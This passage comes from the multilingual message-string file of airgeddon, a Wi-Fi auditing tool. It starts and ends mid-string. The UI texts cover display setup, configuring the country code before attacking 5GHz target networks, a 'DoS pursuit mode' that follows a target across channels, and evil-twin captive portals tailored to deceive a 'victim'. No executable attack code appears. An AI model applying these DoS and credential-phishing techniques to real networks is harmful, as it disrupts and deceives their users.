riprova. Per il primo, il nome del pacchetto è systemd, per il secondo ci sono alcune possibilità (può variare a seconda della tua distribuzione Linux). Alcuni nomi di pacchetti suggeriti sono: x11-utils, xdpyinfo o xorg-xdpyinfo" arr["POLISH",704]="Wykryto system graficzny Wayland, ale airgeddon nie był w stanie wykryć rozdzielczości. Spróbuj polecenie \"\${normal_color}xhost +SI:localuser:root\${red_color}\" przed uruchomieniem airgeddon. Jeśli nie działa, prawdopodobnie w systemie brakuje jednego z tych dwóch poleceń \"loginctl\", \"xdpyinfo\". Zainstaluj potrzebne pakiety i spróbuj ponownie. Dla pierwszego nazwa pakietu to systemd, dla drugiego jest kilka możliwości (może się różnić w zależności od dystrybucji Linuksa). Niektóre sugerowane nazwy pakietów to: x11-utils, xdpyinfo lub xorg-xdpyinfo" arr["GERMAN",704]="Ein Wayland-Grafiksystem wurde erkannt, aber airgeddon konnte keine Auflösung erkennen. Versuchen Sie den Befehl \"\${normal_color}xhost +SI:localuser:root\${red_color}\" auszuführen, bevor Sie airgeddon starten. Wenn es nicht funktioniert, fehlt Ihrem System wahrscheinlich einer dieser beiden Befehle \"loginctl\", \"xdpyinfo\". Installieren Sie die erforderlichen Pakete und versuchen Sie es erneut. Für den ersten ist der Paketname systemd, für den zweiten gibt es einige Möglichkeiten (dies kann je nach Linux-Distribution variieren). Einige vorgeschlagene Paketnamen sind: x11-utils, xdpyinfo oder xorg-xdpyinfo" arr["TURKISH",704]="Bir Wayland grafik sistemi tespit edildi, ancak airgeddon çözünürlüğü tespit edemedi. airgeddon'u başlatmadan önce \"\${normal_color}xhost +SI:localuser:root\${red_color}\" komutunu çalıştırmayı deneyin. Çalışmıyorsa, muhtemelen sisteminizde bu iki komuttan biri eksiktir \"loginctl\", \"xdpyinfo\". Gerekli paketleri kurun ve tekrar deneyin. İlki için paket adı systemd, ikincisi için bazı olasılıklar var (Linux dağıtımınıza bağlı olarak değişebilir). Önerilen bazı paket adları şunlardır: x11-utils, xdpyinfo veya xorg-xdpyinfo" arr["ARABIC",704]="x11-utils, xdpyinfo , xorg-xdpyinfo :الخاصه بك. بعض الاسماء المقترحه هي linuxلكن الرابت الثانب قد يكون له اسماء مختلفه و هذا يعتمد علي نسخت ال , systemd الامرين. قم بتحميلهما ثم حاول مرة اخري.اسم اول رابط هو \"loginctl\", \"xdpyinfo\" اذا لم تعمل , قد يكون جهازك يفقد احدي هذين .airgeddon قبل تشغيل \"\${normal_color}xhost +SI:localuser:root\${red_color}\" لم يستطع تحديد دقة تفاصيل صورة. حول تنفيذ الامر airgeddon لكن wayland تم اكتشاف نظام الجرافيكس" arr["CHINESE",704]="已检测到 Wayland 图形系统,但 airgeddon 无法检测到分辨率。在启动 airgeddon 之前尝试执行 \"\${normal_color}xhost +SI:localuser:root\${red_color}\" 命令。如果它不起作用,可能是您的系统缺少这两个命令 \"loginctl\"、\"xdpyinfo\" 之一。安装所需的软件包,然后重试。对于第一个,包名称是 systemd,对于第二个,有一些可能性 (它可能因您的 Linux 发行版而异) 。一些建议的包名称是: x11-utils、xdpyinfo 或 xorg-xdpyinfo" arr["ENGLISH",705]="No graphics system was detected. Consider install one (X windows system or Wayland graphics) or use tmux instead of xterm modifying airgeddon options. More information about how to do this here: \${normal_color}\${urlgithub_wiki}/Options" arr["SPANISH",705]="No se detectó ningún sistema gráfico. Considera instalar uno (sistema de ventanas X o gráficos Wayland) o usa tmux en lugar de xterm modificando las opciones de airgeddon. Más información sobre cómo hacer esto aquí: \${normal_color}\${urlgithub_wiki}/Options" arr["FRENCH",705]="Aucun système graphique n'a été détecté. Considérez d'en installer un (système X windows ou graphiques Wayland) ou utilisez tmux au lieu de xterm modifiant les options airgeddon. Plus d'informations sur la façon de procéder ici: \${normal_color}\${urlgithub_wiki}/Options" arr["CATALAN",705]="No s'ha detectat cap sistema gràfic. Penseu en instal·lar-ne un (sistema X windows o gràfics Wayland) o utilitzar tmux en comptes d'xterm per modificar les opcions d'airgeddon. Més informació sobre com fer-ho aquí: \${normal_color}\${urlgithub_wiki}/Options" arr["PORTUGUESE",705]="Nenhum ambiente gráfico foi detectado. Considere instalar um X window system, Wayland ou usar o tmux em vez do xterm para modificar as opções do airgeddon. Mais informações sobre como fazer isso em: \${normal_color}\${urlgithub_wiki}/Options" arr["RUSSIAN",705]="Графическая система не обнаружена. Установите X11 или Wayland, либо используйте tmux вместо xterm, изменив это в параметрах airgeddon. Подробнее о том, как это сделать, здесь: \${normal_color}\${urlgithub_wiki}/Options" arr["GREEK",705]="Δεν εντοπίστηκε σύστημα γραφικών. Εξετάστε το ενδεχόμενο να εγκαταστήσετε ένα (σύστημα X windows ή γραφικά Wayland) ή να χρησιμοποιήσετε το tmux αντί για το xterm τροποποιώντας τις επιλογές του airgeddon. Περισσότερες πληροφορίες σχετικά με το πώς να το κάνετε αυτό εδώ: \${normal_color}\${urlgithub_wiki}/Options" arr["ITALIAN",705]="Non è stato rilevato alcun sistema grafico. Prendi in considerazione l'installazione di uno (sistema X windows o grafica Wayland) o usa tmux invece di xterm modificando le opzioni di airgeddon. Maggiori informazioni su come farlo qui: \${normal_color}\${urlgithub_wiki}/Options" arr["POLISH",705]="Nie wykryto żadnego systemu graficznego. Rozważ instalację (system X windows lub Wayland) lub użyj tmux zamiast xterm, modyfikując opcje airgeddon. Więcej informacji o tym, jak to zrobić tutaj: \${normal_color}\${urlgithub_wiki}/Options" arr["GERMAN",705]="Es wurde kein Grafiksystem erkannt. Erwägen Sie, eines zu installieren (X-Windows-System oder Wayland-Grafiken) oder verwenden Sie tmux anstelle von xterm, um die airgeddon-Optionen zu ändern. Weitere Informationen dazu finden Sie hier: \${normal_color}\${urlgithub_wiki}/Options" arr["TURKISH",705]="Hiçbir grafik sistemi algılanmadı. Birini kurmayı (X windows sistemi veya Wayland grafikleri) veya airgeddon seçeneklerini değiştirmek için xterm yerine tmux kullanmayı düşünün. Bunun nasıl yapılacağı hakkında daha fazla bilgiyi burada bulabilirsiniz: \${normal_color}\${urlgithub_wiki}/Options" arr["ARABIC",705]="\${normal_color}\${urlgithub_wiki}/Options \${red_color}:للمزيد من المعلومات عن كيفيت عمل هذة الخطوات .xterm بدل من tmux او استخدم (x او Wayland) يتم اكتشاف اي نظام جرافيكس. حول تثبيت واحد من هذين الانظمه\${normal_color}" arr["CHINESE",705]="未检测到图形系统。考虑安装一个 (X11 窗口管理器或 Wayland 窗口管理器) 或使用 tmux 而不是 xterm。修改 airgeddon 选项。有关如何执行这里操作的更多信息: \${normal_color}\${urlgithub_wiki}/Options" arr["ENGLISH",706]="airgeddon detected you don't have configured the country code for 5Ghz band. Use the \"\${normal_color}iw reg get\${yellow_color}\" command to check the current configuration, and \"\${normal_color}iw reg set XX\${yellow_color}\" to set the region where XX is your country code (e.g. \"\${normal_color}iw reg set ES\${yellow_color}\" for Spain). Verify the configuration with \"\${normal_color}iw reg get\${yellow_color}\" before attempting the attack on the 5Ghz target network. Anyway, the 5Ghz band has several channels that may not be available for operation due to country restrictions (DFS channels). If the target network uses one of these channels, the attack may not be successful" arr["SPANISH",706]="airgeddon detectó que no tienes configurado el código de país para la banda de los 5Ghz. Usa el comando \"\${normal_color}iw reg get\${yellow_color}\" para comprobar la configuración actual y \"\${normal_color}iw reg set XX\${yellow_color}\" para establecer la región donde XX es el código de tu país (por ejemplo, \"\${normal_color}iw reg set ES\${yellow_color}\" para España). Verifica la configuración con \"\${normal_color}iw reg get\${yellow_color}\" antes de intentar el ataque sobre la red objetivo de 5Ghz. De todos modos, la banda de los 5Ghz tiene varios canales que no estan disponibles para operar debido a las restricciones del país (canales DFS). Si la red objetivo utiliza uno de estos canales, es posible que el ataque no tenga éxito" arr["FRENCH",706]="airgeddon a détecté que vous n'avez pas configuré le code du pays pour la bande 5Ghz. Utilisez la commande \"\${normal_color}iw reg get\${yellow_color}\" pour vérifier la configuration actuelle, et \"\${normal_color}iw reg set XX\${yellow_color}\" pour établir la région où XX est votre code pays (par exemple \"\${normal_color}iw reg set ES\${yellow_color}\" pour l'Espagne). Vérifiez la configuration avec \"\${normal_color}iw reg get\${yellow_color}\" avant de essayer l'attaque sur le réseau cible 5Ghz. De toutes façons, la bande 5Ghz a plusieurs canaux qui peuvent ne pas être disponibles pour le fonctionnement en raison des restrictions nationales (canaux DFS). Si le réseau cible utilise l'un de ces canaux, l'attaque peut échouer" arr["CATALAN",706]="airgeddon ha detectat que no heu configurat el codi de país per a la banda de 5Ghz. Utilitzeu l'ordre \"\${normal_color}iw reg get\${yellow_color}\" per comprovar la configuració actual i \"\${normal_color}iw reg set XX\${yellow_color}\" per establir la regió on XX és el teu codi de país (p. ex., \"\${normal_color}iw reg set ES\${yellow_color}\" per a Espanya). Verifiqueu la configuració amb \"\${normal_color}iw reg get\${yellow_color}\" abans d'intentar l'atac a la xarxa objectiu de 5 Ghz. De totes maneres, la banda de 5Ghz té diversos canals que poden no estar disponibles per funcionar a causa de les restriccions del país (canals DFS). Si la xarxa objectiu utilitza un d'aquests canals, és possible que l'atac no tingui èxit" arr["PORTUGUESE",706]="airgeddon detectou que você não configurou o código do país para a banda de 5Ghz. Use o comando \"\${normal_color}iw reg get\${yellow_color}\" para verificar a configuração atual e \"\${normal_color}iw reg set XX\${yellow_color}\" para definir a região, onde XX é o código do país (por exemplo, \"\${normal_color}iw reg set ES\${yellow_color}\" para a Espanha). Verifique a configuração com \"\${normal_color}iw reg get\${yellow_color}\" antes de tentar o ataque na rede alvo de 5Ghz. Ainda sim, a banda 5Ghz possui vários canais que podem não estar disponíveis para operação devido a restrições do país (canais DFS). Se a rede de destino usar um desses canais, o ataque pode não ser bem-sucedido" arr["RUSSIAN",706]="airgeddon обнаружил, что код страны для 5Ghz диапазона не установлен. Используйте команду \"\${normal_color}iw reg get\${yellow_color}\", чтобы проверить текущую конфигурацию. и \"\${normal_color}iw reg set XX\${yellow_color}\", чтобы установите регион (где XX – код вашей страны (например, \"\${normal_color}iw reg set ES\${yellow_color}\" для Испании)). Проверьте конфигурацию с помощью \"\${normal_color}iw reg get\${yellow_color}\" перед попыткой атаки на целевую 5Ghz сеть. Также атака может быть неудачной из-за того, что в диапазоне 5Ghz есть несколько каналов, которые могут быть недоступны для работы из-за региональных ограничений (DFS каналы)" arr["GREEK",706]="Το airgeddon εντόπισε ότι δεν έχετε διαμορφώσει τον κωδικό χώρας για τη ζώνη 5Ghz. Χρησιμοποιήστε την εντολή \"\${normal_color}iw reg get\${yellow_color}\" για να ελέγξετε την τρέχουσα διαμόρφωση και \"\${normal_color}iw reg set XX\${yellow_color}\" για να ορίσετε την περιοχή όπου XX είναι ο κωδικός της χώρας σας (π.χ. \"\${normal_color}iw reg set ES\${yellow_color}\" για την Ισπανία). Επαληθεύστε τη διαμόρφωση με το \"\${normal_color}iw reg get\${yellow_color}\" πριν επιχειρήσετε την επίθεση στο δίκτυο στόχου 5Ghz. Τέλος πάντων, η ζώνη των 5Ghz έχει αρκετά κανάλια που ενδέχεται να μην είναι διαθέσιμα για λειτουργία λόγω περιορισμών χώρας (κανάλια DFS). Εάν το δίκτυο-στόχος χρησιμοποιεί ένα από αυτά τα κανάλια, η επίθεση ενδέχεται να μην είναι επιτυχής" arr["ITALIAN",706]="airgeddon ha rilevato che non hai configurato il codice del paese per la banda 5Ghz. Usa il comando \"\${normal_color}iw reg get\${yellow_color}\" per controllare la configurazione attuale, e \"\${normal_color}iw reg set XX\${yellow_color}\" per impostare la regione dove XX è il codice del tuo paese (ad es. \"\${normal_color}iw reg set ES\${yellow_color}\" per la Spagna). Verifica la configurazione con \"\${normal_color}iw reg get\${yellow_color}\" prima di tentare l'attacco alla rete obiettivo 5Ghz. Ad ogni modo, la banda 5Ghz ha diversi canali che potrebbero non essere disponibili per il funzionamento a causa di restrizioni nazionali (canali DFS). Se la rete obiettivo utilizza uno di questi canali, l'attacco potrebbe non avere successo" arr["POLISH",706]="airgeddon wykrył, że nie masz skonfigurowanego kodu kraju dla pasma 5Ghz. Użyj polecenia \"\${normal_color}iw reg get\${yellow_color}\", aby sprawdzić bieżącą konfigurację, a \"\${normal_color}iw reg set XX\${yellow_color}\", aby ustaw region, w którym XX to kod kraju (np. \"\${normal_color}iw reg set ES\${yellow_color}\" dla Hiszpanii). Sprawdź konfigurację za pomocą \"\${normal_color}iw reg get\${yellow_color}\" przed przystąpieniem do ataku na sieć docelową 5Ghz. W każdym razie pasmo 5Ghz ma kilka kanałów, które mogą nie być dostępne do pracy ze względu na ograniczenia krajowe (kanały DFS). Jeśli sieć docelowa korzysta z jednego z tych kanałów, atak może się nie powieść" arr["GERMAN",706]="airgeddon hat festgestellt, dass Sie den Ländercode für das 5Ghz-Band nicht konfiguriert haben. Verwenden Sie den Befehl \"\${normal_color}iw reg get\${yellow_color}\", um die aktuelle Konfiguration zu überprüfen, und \"\${normal_color}iw reg set XX\${yellow_color}\" um die Region einzustellen, wobei XX Ihr Ländercode ist (z. B. \"\${normal_color}iw reg set ES\${yellow_color}\" für Spanien). Überprüfen Sie die Konfiguration mit \"\${normal_color}iw reg get\${yellow_color}\", bevor Sie den Angriff auf das 5-Ghz-Zielnetzwerk versuchen. Wie auch immer, das 5-Ghz-Band hat mehrere Kanäle, die aufgrund von Länderbeschränkungen möglicherweise nicht für den Betrieb verfügbar sind (DFS-Kanäle). Wenn das Zielnetzwerk einen dieser Kanäle verwendet, ist der Angriff möglicherweise nicht erfolgreich" arr["TURKISH",706]="airgeddon, 5Ghz bandı için ülke kodunu yapılandırmadığınızı tespit etti. Geçerli yapılandırmayı kontrol etmek için \"\${normal_color}iw reg get\${yellow_color}\" komutunu ve mevcut yapılandırmayı kontrol etmek için \"\${normal_color}iw reg set XX\${yellow_color}\" komutunu kullanın. XX'nin ülke kodunuz olduğu bölgeyi ayarlayın (ör. İspanya için \"\${normal_color}iw reg set ES\${yellow_color}\"). 5Ghz hedef ağına saldırı girişiminde bulunmadan önce \"\${normal_color}iw reg get\${yellow_color}\" ile yapılandırmayı doğrulayın. Her neyse, 5Ghz bandında, ülke kısıtlamaları nedeniyle (DFS kanalları) işletilemeyen birkaç kanal vardır. Hedef ağ bu kanallardan birini kullanıyorsa saldırı başarılı olamayabilir" arr["ARABIC",706]="5Ghz قبل الهجوم علي الشبكةال \"\${normal_color}iw reg get\${yellow_color}\" هو كود اسبانيا. لتثبيت الاعدادات قم بهذه الامر (\"\${normal_color}iw reg set ES\${yellow_color}\") :هو كود البلد للمثل XX لتحديد المنطقه و ان \"\${normal_color}iw reg set XX\${yellow_color}\" لتحقق من الاعدادات, و \"\${normal_color}iw reg get\${yellow_color}\" استخدم الامر .Ghzقد اكتشف انك لم تقوم بتحديد كود البلد لناقط ال5 airgeddon" arr["CHINESE",706]="airgeddon 检测到您没有为 5Ghz 频段配置国家代码。使用\"\${normal_color}iw reg get\${yellow_color}\"命令查看当前配置,\"\${normal_color}iw reg set XX\${yellow_color} \" 设置区域,其中 XX 是您的国家代码 (例如 \"\${normal_color}iw reg set CN\${yellow_color}\" 代表配置国家代码为中国) 。在尝试攻击 5Ghz 目标网络之前,使用 \"\${normal_color}iw reg get\${yellow_color}\" 验证配置。一般情况下,5Ghz 频段有几个频道可能由于国家限制 DFS 频道 (雷达保留频道) 而无法使用。如果目标网络使用这些频道之一,则攻击可能不会成功" arr["ENGLISH",707]="Channel change detected. Reconfiguring attack (DoS) as part of \"DoS pursuit mode\". Now on channel \${normal_color}\${channel}" arr["SPANISH",707]="Cambio de canal detectado. Reconfigurando ataque (DoS) como parte del \"modo persecución DoS\". Ahora en el canal \${normal_color}\${channel}" arr["FRENCH",707]="Changement de canal détecté. Reconfiguration de l'attaque (DoS) dans le cadre du \"mode de poursuite DoS\". Maintenant sur le canal \${normal_color}\${channel}" arr["CATALAN",707]="S'ha detectat un canvi de canal. S'està reconfigurant l'atac (DoS) com a part del \"Mode de persecució DoS\". Ara al canal \${normal_color}\${channel}" arr["PORTUGUESE",707]="Mudança de canal detectada. Reconfigurando o ataque (DoS) no \"modo de perseguição\". Agora no canal \${normal_color}\${channel}" arr["RUSSIAN",707]="Обнаружено изменение канала. Реконфигурация атаки (DoS) \"режимом DoS преследования\". Сейчас на канале \${normal_color}\${channel}" arr["GREEK",707]="Εντοπίστηκε αλλαγή καναλιού. Επαναδιαμόρφωση επίθεσης (DoS) ως μέρος της \"DoS pursuit mode\". Τώρα στο κανάλι \${normal_color}\${channel}" arr["ITALIAN",707]="Cambio di canale rilevato. Riconfigurando l'attacco (DoS) come parte della \"DoS pursuit mode\". Ora sul canale \${normal_color}\${channel}" arr["POLISH",707]="Wykryto zmianę kanału. Rekonfiguracja ataku (DoS) w ramach \"DoS pursuit\". Teraz na kanale \${normal_color}\${channel}" arr["GERMAN",707]="Kanalwechsel erkannt. Angriff (DoS) als Teil des \"DoS pursuit mode\" rekonfiguriert. Jetzt auf Kanal \${normal_color}\${channel}" arr["TURKISH",707]="Kanal değişikliği algılandı. Saldırı (DoS) \"DoS takip modu\"nun bir parçası olarak yeniden şekillendiriliyor. Şimdi \${normal_color}\${channel} kanalında" arr["ARABIC",707]="\${normal_color}\${channel} \${yellow_color}انت الان علي القناة .\"DoS pursuit mode\" كجزء من (DoS) تم اكتشاف تغير في القناة, وسيتم اعادة تكويت الهجوم\${normal_color}" arr["CHINESE",707]="检测到信道更改。已将攻击 (DoS) 重新配置为“DoS 追踪模式”。当前信道 \${normal_color}\${channel}" arr["ENGLISH",708]="Consistent Network Device Naming detected (aka longname wifi device name). There are third party tools used by airgeddon which won't work properly. It is recommended to change it to old short wifi names (wlan0, wlan1, etc.)" arr["SPANISH",708]="Se detectó un Consistent Network Device Naming (también conocido como nombre de dispositivo wifi de nombre largo). Hay herramientas de terceros utilizadas por airgeddon que no funcionarán correctamente. Se recomienda cambiarlo a nombres de wifi cortos antiguos (wlan0, wlan1, etc.)" arr["FRENCH",708]="Consistent Network Device Naming détectée (c'est-à-dire un nom longe de périphérique Wi-Fi). Il existe des outils tiers utilisés par airgeddon qui ne fonctionneront pas correctement. Il est recommandé de le remplacer par d'anciens noms Wi-Fi courts (wlan0, wlan1, etc.)" arr["CATALAN",708]="S'ha detectat un nom coherent del dispositiu de xarxa (també conegut com nom del dispositiu wifi de nom llarg). Hi ha eines de tercers utilitzades per airgeddon que no funcionen correctament. Es recomana canviar-lo per noms de wifi curts antics (wlan0, wlan1, etc.)" arr["PORTUGUESE",708]="A nomenclatura de dispositivo de rede consistente (também conhecida como nome de dispositivo Wi-Fi longo) está habilitada. Existem ferramentas de terceiros usadas pelo airgeddon que não funcionam corretamente com essa nomenclatura. É recomendado alterar para os nomes curtos antigos (wlan0, wlan1, etc.)" arr["RUSSIAN",708]="Обнаружено постоянное имя сетевого устройства (также известное как long name устройства). airgeddon использует сторонние инструменты, которые не будут работать должным образом. Рекомендуется изменить его на дефолтный short name (wlan0, wlan1 и т.п.)" arr["GREEK",708]="Εντοπίστηκε Consistent Network Device Naming (γνωστό και ως μεγάλη ονομασία συσκευής wifi). Υπάρχουν εργαλεία τρίτων που χρησιμοποιούνται από το airgeddon τα οποία δεν λειτουργούν σωστά. Συνιστάται να το αλλάξετε σε παλιά σύντομα ονόματα wifi (wlan0, wlan1, κ.λπ.)" arr["ITALIAN",708]="Rilevato un Consistent Network Device Naming (noto anche come nome dispositivo wifi con nome lungo). Esistono strumenti di terze parti utilizzati da airgeddon che non funzioneranno correttamente. Si consiglia di cambiarlo con i vecchi nomi wifi brevi (wlan0, wlan1, ecc.)" arr["POLISH",708]="Wykryto spójne nazewnictwo urządzeń sieciowych (długą nazwę urządzenia Wi-Fi w systemie operacyjnym). airgeddon używa narzędzi dostawców zewnętrznych, które nie działają poprawnie. Zaleca się zmianę na tradycyjne, krótkie nazwy Wi-Fi (wlan0, wlan1 itp.)" arr["GERMAN",708]="Consistent Network Device Naming erkannt (auch bekannt als Langname-WLAN-Gerätename). airgeddon verwendet Tools von Drittanbietern, die nicht richtig funktionieren. Es wird empfohlen, alte kurze WLAN-Namen (wlan0, wlan1 usw.) zu verwenden" arr["TURKISH",708]="Tutarlı Ağ Aygıtı Adlandırma algılandı (diğer adıyla uzun wifi aygıt adı). airgeddon tarafından kullanılan ve düzgün çalışmayan üçüncü taraf araçlar var. Eski kısa wifi adlarıyla (wlan0, wlan1, vb.) değiştirmeniz önerilir" arr["ARABIC",708]="(wlan0, wlan1, etc.)والتي لن تعمل بشكل صحيح. من الافضلتغير اسم الشبكة الي اسماء قصيرة airgeddon تم اكتشاف تسمية جهاز شبكة متسقة. هناك ادوات تاطرف الثالث المستخدمة من" arr["CHINESE",708]="检测到一致的网络设备命名。airgeddon 使用的第三方工具无法正常工作。建议将其更改为旧的短 wifi 名称 (wlan0、wlan1 等)" arr["ENGLISH",709]="Please check the airgeddon wiki. It contains information about how to change the wifi device names: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" arr["SPANISH",709]="Consulta el wiki de airgeddon. Contiene información sobre cómo cambiar los nombres de los dispositivos wifi: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" arr["FRENCH",709]="Veuillez consulter le wiki airgeddon. Il contient des informations sur la façon de modifier les noms des appareils Wi-Fi: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" arr["CATALAN",709]="Si us plau, comproveu la wiki d'airgeddon. Conté informació sobre com canviar els noms dels dispositius wifi: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" arr["PORTUGUESE",709]="Por favor, verifique a wiki do airgeddon. Ela contém informações sobre como alterar os nomes dos dispositivos wifi: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" arr["RUSSIAN",709]="Пожалуйста, проверьте вики airgeddon. Она содержит информацию о том, как изменить имена устройств: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" arr["GREEK",709]="Ελέγξτε το wiki στο airgeddon. Περιέχει πληροφορίες σχετικά με τον τρόπο αλλαγής ονομασίας συσκευών wifi: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" arr["ITALIAN",709]="Si prega di controllare la wiki di airgeddon. Contiene informazioni su come modificare i nomi dei dispositivi wifi: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" arr["POLISH",709]="Proszę sprawdzić wiki airgeddon. Zawiera informacje o tym, jak zmienić nazwy urządzeń Wi-Fi w systemie operacyjnym: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" arr["GERMAN",709]="Bitte überprüfen Sie das airgeddon-Wiki. Es enthält Informationen zum Ändern der WLAN-Gerätenamen: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" arr["TURKISH",709]="Lütfen airgeddon wiki'sini kontrol edin. Kablosuz cihaz adlarının nasıl değiştirileceği hakkında bilgiler içerir: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" arr["ARABIC",709]="\${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming\${yellow_color} :ويكي. يحتوي على معلومات حول كيفية تغيير أسماء أجهزة airgeddon يرجى التحقق من\${normal_color}" arr["CHINESE",709]="请检查 airgeddon 的维基百科。它包含有关如何更改 wifi 设备名称的信息: \${normal_color}\${urlgithub_wiki}/Consistent%20Network%20Device%20Naming" arr["ENGLISH",710]="\${blue_color}Instead of the old neutral captive portal (used by default), an advanced one can be generated including a vendor logo based on target AP's BSSID. Bear in mind that this could be suspicious depending on the environment and the kind of victim. \${green_color}Do you want to use the advanced captive portal? \${normal_color}\${visual_choice}" arr["SPANISH",710]="\${blue_color}En lugar del antiguo portal cautivo neutral (usado por defecto), se puede generar uno más avanzado que incluya un logo basado en el proveedor del AP según el BSSID del objetivo. Ten en cuenta que esto podría ser sospechoso dependiendo del entorno y del tipo de víctima. \${green_color}¿Deseas utilizar el portal cautivo avanzado? \${normal_color}\${visual_choice}" arr["FRENCH",710]="\${blue_color}Au lieu de l'ancien neutre portail captif (utilisé par défaut), un portail avancé peut être généré qui compris un logo de fournisseur basé sur le BSSID de l'AP cible. Veuillez noter que cela peut être suspect selon l'environnement et le type de victime. \${green_color}Voulez-vous utiliser le portail captif avancé? \${normal_color}\${visual_choice}" arr["CATALAN",710]="\${blue_color}En lloc de l'antic portal captiu neutral (utilitzat per defecte), es pot generar un avançat que inclou un logotip de proveïdor basat en el BSSID de l'AP objectiu. Tingueu en compte que això pot ser sospitós segons l'entorn i el tipus de víctima. \${green_color}¿Voleu utilitzar el portal captiu avançat? \${normal_color}\${visual_choice}" arr["PORTUGUESE",710]="\${blue_color}Em vez do antigo portal cativo neutro (usado por padrão) um avançado pode ser gerado, incluindo a logo do fabricante com base no BSSID do AP. Tenha em mente que isso pode levantar suspeitas dependendo do ambiente e do tipo de vítima. \${green_color}Deseja usar o portal cativo avançado? \${normal_color}\${visual_choice}" arr["RUSSIAN",710]="\${blue_color}Вместо старого нейтрального авторизационного портала (используемого по умолчанию) можно создать таргетированный портал с логотипом производителя на основе BSSID целевой точки доступа. Имейте в виду, что это может быть подозрительно в зависимости от окружающей среды и типа жертвы. \${green_color}Вы хотите использовать таргетированный авторизационный портал? \${normal_color}\${visual_choice}" arr["GREEK",710]="\${blue_color}Αντί για την παλιά ουδέτερη πύλη captive (χρησιμοποιείται από προεπιλογή), μπορεί να δημιουργηθεί μια προηγμένη, συμπεριλαμβανομένου ενός λογότυπου προμηθευτή με βάση το BSSID του στοχευόμενου AP. Λάβετε υπόψη ότι αυτό μπορεί να είναι ύποπτο ανάλογα με το περιβάλλον και το είδος του θύματος. \${green_color}Θέλετε να χρησιμοποιήσετε την προηγμένη πύλη captive; \${normal_color}\${visual_choice}" arr["ITALIAN",710]="\${blue_color}Invece del vecchio captive portal neutrale (usato come impostazione predefinita), è possibile generarne uno avanzato che includa un logo del fornitore basato sul BSSID dell'AP obiettivo. Tieni presente che questo potrebbe essere sospettoso a seconda dell'ambiente e del tipo di vittima. \${green_color}Vuoi utilizzare il captive portal avanzato? \${normal_color}\${visual_choice}" arr["POLISH",710]="\${blue_color}Zamiast starego neutralnego portalu logowanie (captive portal) używanego domyślnie można wygenerować zaawansowany portal zawierający logo dostawcy na podstawie BSSID docelowego punktu dostępowego. Pamiętaj, że może to być podejrzane w zależności od środowiska i rodzaju celu. \${green_color}Czy chcesz korzystać z zaawansowanego portalu? \${normal_color}\${visual_choice}" arr["GERMAN",710]="\${blue_color}Anstelle des alten neutralen Captive-Portals (standardmäßig verwendet) kann ein erweitertes erstellt werden, das ein Anbieterlogo enthält, das auf der BSSID des Ziel-AP basiert ist. Denken Sie daran, dass dies je nach Umgebung und Art des Targets verdächtig sein kann. \${green_color}Möchten Sie das erweiterte Captive-Portal verwenden? \${normal_color}\${visual_choice}" arr["TURKISH",710]="\${blue_color}Eski tarafsız sabit portal yerine (bu portal varsayılan olarak kullanılır), hedef AP'nin BSSID'sine dayalı bir satıcı logosu içeren gelişmiş bir portal oluşturulabilir. Ortama ve hedefin türüne bağlı olarak bunun şüpheli olabileceğini unutmayın. \${green_color}Gelişmiş sabit portalı kullanmak istiyor musunuz? \${normal_color}\${visual_choice}" arr["ARABIC",710]="\${normal_color}\${visual_choice} \${green_color}هل تريد استخدام البوابة المقيدة المتقدمة؟\${blue_color} .يمكن إنشاء واحدة متقدمة بما في ذلك شعار البائع بناءً على ضع في اعتبارك أن هذا قد يكون مريبًا اعتمادًا على البيئة ونوع الضحية .BSSID الخاص ب AP بدلاً من البوابة المقيدة القديمة المحايدة (المستخدمة افتراضيًا),الهدف ال\${normal_color}" arr["CHINESE",710]="\${blue_color}代替旧的中性强制门户 (默认使用),可以生成一个高级的门户,包括基于目标 AP 的 BSSID 的供应商标志。请记住,根据环境和受害者的类型进行部署,否则这可能是可疑的。\${green_color}您想使用高级强制门户吗?\${normal_color}\${visual_choice}" arr["ENGLISH",711]="Remember that the captive portal can also be customized for a more tailored attack. Check information about how to do it at Wiki: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#can-the-evil-twin-captive-portal-page-be-customized-if-so-how" arr["SPANISH",711]="Recuerda que el portal cautivo también se puede personalizar para realizar un ataque más dirigido. Consulta la documentación sobre cómo hacerlo en el Wiki: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#can-the-evil-twin-captive-portal-page-be-customized-if-so-how" arr["FRENCH",711]="N'oubliez pas que le portail captif peut également être personnalisé pour une attaque plus adaptée. Vérifiez les informations sur la façon de le faire sur le Wiki: \${normal_color}\${urlgithub_wiki}FAQ%20&%20Troubleshooting#can-the-evil-twin-captive-portal-page-be-customized-if-so-how" arr["CATALAN",711]="Recordeu que el portal captiu també es pot personalitzar per a un atac més personalitzat. Comproveu la informació sobre com fer-ho a la Wiki: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#can-the-evil-twin-captive-portal-page-be-customized-if-so-how" arr["PORTUGUESE",711]="Lembre-se de que o portal cativo também pode ser customizado para um ataque mais personalizado. Verifique as informações sobre como fazer isso na Wiki: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#can-the-evil-twin-captive-portal-page-be-customized-if-so-how" arr["RUSSIAN",711]="Также, портал захвата можно кастомизировать. Проверьте информацию о том, как это сделать, на wiki: \${normal_color}\${urlgithub_wiki}/FAQ%20&%20Troubleshooting#can-the-evil-twin-captive-portal-page-be-customized-if-so-how" arr["GREEK",711]="Να θυμάστε ότι η πύλη captive μπορεί επίσης να προσαρμοστεί για μια πιο προσαρμοσμένη επίθεση. Δείτε πληροφορίες σχετικά με το πώς να το κάνετε στο Wiki: 